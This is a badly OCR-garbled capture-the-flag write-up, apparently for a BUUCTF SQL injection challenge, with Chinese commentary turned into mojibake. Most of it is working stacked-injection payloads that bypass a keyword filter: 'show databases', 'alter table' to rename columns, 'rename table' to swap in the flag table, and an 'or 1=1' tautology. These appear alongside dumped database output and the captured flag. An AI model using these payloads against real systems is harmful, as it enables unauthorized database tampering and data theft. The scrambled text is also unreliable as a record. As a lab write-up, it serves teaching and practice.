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arrav(2) {

[0]=>

string (1) "1™

[1]=>

string(7) "hahzahah"
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return preg match("/select|update|delete|drop|insert|where|\./1",$inject);

B, AT exp() F extractvalue() , SR exp() BlZBEH, extractvalue() EERELEE . .
At B R BEE LT, FHN select RN T, HRTHETFHESDSE, BF. -
ERXBA NGB, HHPILMAT, RERT THSBEN. o « BEKT .

ni - = = JJL DAIIDT UINIVIN DASCLY” CRAUINY LAWSJDLE WU CRT " [RWLW B iy VVAN DTIFASS7 Civeu L nNg

P
@ Load URL http://019da753-6c54-4d03-b810-efd31f4abdcf.node3.buuoj.cn/?inject=1"show+databases; %23
& split URL

» Execute

(] Postdata [ ] Referrer ¥ OxHEX ¥» @= %URL ¥ @& BASE6: 3D [

T dd =T = v =5 2 T7T 1ok 0 ‘Sie [ B8 7 A Triiax



HXM T RASEKINMRZIE, A~ AR -7TR1

S |1 ‘ Submit Query

arrayv(2) {

[0]=>

string (1) "1"

[1]1=>

string (7) "hahahah"
}

array (1) {

[0]=>

string(1ll) "ctftraining"
}

arrav({l) {

[0]=>

string(18) "information schema"
}

array({l) {

[01=>

string (5) "mysgl”
}

array (1) {

[0]=>

string(18) "performance_schema”
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array(2) {

[01=>

string(1l) "1"

[11=>

string(7) "hahahah™
}

array({l) {

[0]=>

string(16) "1%153105831114514"
}

array({l) {
[0]=>

string (5) "words"

}
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array(2) {

[0]=>

string(1l) "1™

[1]1=>

string(7) "hahahah"
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array(g) {
(01—
string(4) "flag"
[1]=>
string(12) "varchar(l00)"
[21=—
string(2) "NO™
[3]1=>
string{0) ™"
[4]==>
NULL
[5]=>
string{0) ™"
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return preg match("/select|update|deleteldrop|insert |where|\./ /1", $inject);
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error 1054 : Unknown column 'id' in 'where clause'
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1';alter table “words change "flag" "id" varchar(100);%23
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error 1054 : Unknown column 'id' in 'where clause’
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1';alter table 1919810931114514° change "flag" "id" varchar(100) ;%23
1 desc °1919810931114514 ;%23
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array(2) {

[0]=>

string(1l) ™1™

[1]1=>

string(7) "hahahah"
+

array(6) {
[0]=>

string(2) "id" \
[1]=>

string (12} "varchar (100)"

[2]=>

string(3) "YES"

[3]1=>

string(0)

[4]=>

NULL

[3]1=>

string(0)
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1';rename table "words to "xxx ;rename table "1919810931114514  to words %23

WIEHERE—K! !

WM FEREZEREZE Rig—DiG: FRERNMRER—FA

L |1 || Submit Query |

EME, ZEK, BT, flag FREONFA—EN1M, £T. . ©

7 —%, S LEEBTHREN, Fhfk.

1' or "1'="1



-
@l Load URL | http://f73699f1-f3bb-4208-8655-69e85d84aa35.node3 . buuoj.cn/?inject=1" ar [1="1
& split URL

’ Execute

[] Postdata [ Referrer 4 OxHEX 3» @ %URL 3» @ BASE64
B FERXREELHKIESE, Rik—i&: A

%%%?ﬂl ‘ Submit Query

array (1) {
[0]=>
string(42) "flag{fa0%9%813-52e8-411c-a%b5-£f12e17080£f5e}™
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